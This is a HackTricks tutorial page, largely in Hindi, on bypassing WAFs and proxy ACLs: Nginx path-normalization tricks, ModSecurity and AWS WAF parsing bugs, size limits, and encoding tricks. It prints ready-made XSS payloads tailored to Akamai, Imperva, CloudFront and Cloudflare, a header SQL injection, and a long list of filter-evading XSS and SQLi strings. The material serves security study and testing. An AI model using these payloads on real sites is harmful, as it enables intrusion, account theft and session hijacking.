Proxy / WAF Protections Bypass

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Bypass Nginx ACL Rules with Pathname Manipulation

तकनीकें इस रिसर्च से.

Nginx नियम का उदाहरण:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

bypasses रोकने के लिए Nginx जांच करने से पहले path normalization करता है। हालाँकि, यदि backend server अलग normalization करता है (ऐसे characters हटाकर जिन्हें Nginx नहीं हटाता), तो इस रक्षा को bypass करना संभव हो सकता है।

NodeJS - Express

Nginx संस्करणNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx संस्करणFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx संस्करणSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM कॉन्फ़िगरेशन:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx को /admin.php तक पहुँच को ब्लॉक करने के लिए कॉन्फ़िगर किया गया है, लेकिन /admin.php/index.php को एक्सेस करके इसे बायपास किया जा सकता है।

इसे कैसे रोकें

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

In this post में बताया गया है कि ModSecurity v3 (until 3.0.12), improperly implemented the REQUEST_FILENAME वैरिएबल जो कि accessed path (parameters की शुरुआत तक) को contain करना चाहिए था। यह इसलिए हुआ क्योंकि यह path पाने के लिए URL decode करता था.
इसलिए, http://example.com/foo%3f';alert(1);foo= जैसे request में mod security यह मान लेगा कि path केवल /foo है क्योंकि %3f ? में बदल जाता है और URL path यहीं समाप्त हो जाता है, लेकिन असल में सर्वर को जो path मिलेगा वह /foo%3f';alert(1);foo= होगा।

वैरिएबल्स REQUEST_BASENAME और PATH_INFO भी इस बग से प्रभावित थे।

कुछ समान बात Mod Security के version 2 में भी हुई थी जिससे उस protection को bypass किया जा सकता था जो users को backup से जुड़े specific extensions वाली फाइलों (जैसे .bak) तक पहुँचने से रोकता था — बस dot को URL encoded %2e भेजकर, उदाहरण के लिए: https://example.com/backup%2ebak

Bypass AWS WAF ACL

Malformed Header

This research में बताया गया है कि HTTP headers पर लागू AWS WAF rules को bypass करना संभव था अगर एक “malformed” header भेजा जाए जो AWS द्वारा सही ढंग से parse न हो रहा हो पर backend server द्वारा किया जा रहा हो।

उदाहरण के लिए, header X-Query में एक SQL injection के साथ नीचे दिए गए request को भेजने पर:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

AWS WAF को bypass करना संभव था क्योंकि वह यह समझ नहीं पाता था कि अगली लाइन header के value का हिस्सा है जबकि NODEJS server समझता था (यह फिक्स कर दिया गया)।

सामान्य WAF bypasses

Request Size Limits

आम तौर पर WAFs के पास requests को चेक करने के लिए एक निश्चित लंबाई सीमा होती है और अगर कोई POST/PUT/PATCH request उस सीमा से बड़ी होती है तो WAF उस request की जाँच नहीं करता।

Application Load Balancer और AWS AppSync protections के लिए निरीक्षित किए जा सकने वाले वेब request body का अधिकतम आकार8 KB
CloudFront, API Gateway, Amazon Cognito, App Runner, और Verified Access protections** के लिए निरीक्षित किए जा सकने वाले वेब request body का अधिकतम आकार64 KB

Older Web Application Firewalls with Core Rule Set 3.1 (or lower) request body inspection बंद करके 128 KB से बड़े messages की अनुमति देते हैं, पर ये messages vulnerabilities के लिए चेक नहीं किए जाते। नए संस्करणों (Core Rule Set 3.2 या नए) में वही काम maximum request body limit को disable करके किया जा सकता है। जब कोई request size limit से अधिक होती है:

If prevention mode: अनुरोध को लॉग करता है और ब्लॉक करता है.
If detection mode: सीमा तक निरीक्षण करता है, बाकी को अनदेखा करता है, और अगर Content-Length सीमा से अधिक है तो लॉग करता है.

डिफ़ॉल्ट रूप से, WAF केवल request का पहला 8KB ही inspect करता है। Advanced Metadata जोड़कर यह सीमा 128KB तक बढ़ाई जा सकती है।

128KB तक।

Static assets inspection gaps (.js GETs)

कुछ CDN/WAF stacks static assets के लिए GET requests (उदाहरण के लिए ऐसे paths जो .js पर समाप्त होते हैं) पर कमज़ोर या कोई content inspection लागू नहीं करते, जबकि global rules जैसे rate limiting और IP reputation लागू रहते हैं। static extensions के auto-caching के साथ मिलकर, इसका दुरुपयोग malicious variants को deliver या seed करने के लिए किया जा सकता है जो बाद के HTML responses को प्रभावित करते हैं।

Practical use cases:

  • Untrusted headers (उदा., User-Agent) में payloads भेजें एक GET पर .js path के लिए ताकि content inspection से बचा जा सके, और फिर तुरंत main HTML request करें ताकि cached variant प्रभावित हो सके।
  • एक नया/clean IP उपयोग करें; एक बार IP flagged हो गया तो routing बदलने से यह technique unreliable हो सकती है।
  • Burp Repeater में, “Send group in parallel” (single-packet style) का उपयोग करें ताकि दोनों requests (.js फिर HTML) को एक ही front-end path से race किया जा सके।

This pairs well with header-reflection cache poisoning. See:

Cache Poisoning and Cache Deception

Obfuscation

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode संगतता

Unicode सामान्यीकरण के कार्यान्वयन पर निर्भर करते हुए (अधिक जानकारी here), जो अक्षर Unicode संगतता साझा करते हैं वे WAF को बायपास करके इच्छित payload के रूप में निष्पादित हो सकते हैं। संगत अक्षर here पर पाए जा सकते हैं।

उदाहरण

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

जैसा कि this blog post में उल्लेख है, उन WAFs को bypass करने के लिए जो user input का context बनाए रखते हैं, हम WAF की तकनीकों का दुरुपयोग करके यूज़र के इनपुट को वास्तव में normalize करवा सकते हैं।

उदाहरण के लिए, पोस्ट में बताया गया है कि Akamai ने किसी user input को 10 बार URL decode किया। इसलिए <input/%2525252525252525253e/onfocus जैसे कुछ को Akamai <input/>/onfocus के रूप में देखेगा, जो यह सोच सकता है कि tag बंद हो चुका है। हालाँकि, जब तक application इनपुट को 10 बार URL decode नहीं करता, victim को कुछ ऐसा ही दिखाई देगा <input/%25252525252525253e/onfocus जो कि XSS attack के लिए अभी भी वैध है

इसलिए, यह WAF द्वारा decode और interpret किए जाने वाले encoded components में payloads छिपाने की अनुमति देता है, जबकि victim उन्हें नहीं देखेगा।

इसके अलावा, यह केवल URL encoded payloads तक सीमित नहीं है बल्कि unicode, hex, octal… जैसी अन्य encodings के साथ भी किया जा सकता है।

पोस्ट में निम्नलिखित final bypasses सुझाए गए हैं:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

यह भी बताया गया है कि यह निर्भर करता है कि कुछ WAFs user input के context को कैसे समझते हैं — इससे दुरुपयोग संभव हो सकता है। ब्लॉग में दिया गया उदाहरण यह है कि Akamai ने /* और */ के बीच कुछ भी रखने की अनुमति दी (संभाविततः क्योंकि यह आमतौर पर comments के लिए उपयोग होता है)। इसलिए, /*'or sleep(5)-- -*/ जैसे SQLinjection को पकड़ा नहीं जाएगा और यह वैध माना जाएगा क्योंकि /* injection की starting string है और */ comment को बंद करता है।

ऐसे context समस्याओं का उपयोग उन vulnerabilities को भी abuse करने के लिए किया जा सकता है जिनके लिए WAF अपेक्षित रूप से designed नहीं था (उदा. इसे XSS exploit करने के लिए भी इस्तेमाल किया जा सकता है)।

Inline JavaScript first-statement inspection gaps

कुछ inline-inspection rulesets केवल किसी event handler के अंदर मौजूद पहले JavaScript statement को पार्स करते हैं। एक harmless दिखने वाले expression को parentheses में prefix करके उसके बाद semicolon (उदा. onfocus="(history.length);payload") लगाने से, semicolon के बाद रखा malicious code inspection को bypass कर देता है जबकि browser उसे execute कर लेता है। इसे fragment-induced focus के साथ combine करने (जैसे, #forgot_btn जोड़ना ताकि targeted element load पर focused हो) click-less XSS की अनुमति देता है जो तुरंत $.getScript कॉल कर सकता है और keyloggers जैसे phishing tooling को bootstrap कर सकता है। देखें attribute-only login XSS case study जो कि this research से व्युत्पन्न है।

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Regex filters को bypass करने के लिए अलग-अलग techniques का उपयोग किया जा सकता है। उदाहरणों में alternating case, line breaks जोड़ना, और payloads encode करना शामिल है। विभिन्न bypasses के resources PayloadsAllTheThings और OWASP पर पाए जा सकते हैं। नीचे दिए गए उदाहरण this article से लिए गए हैं।

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

उपकरण

  • nowafpls: Burp plugin जो requests में junk data जोड़कर लंबाई के आधार पर WAFs को bypass करने के लिए

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें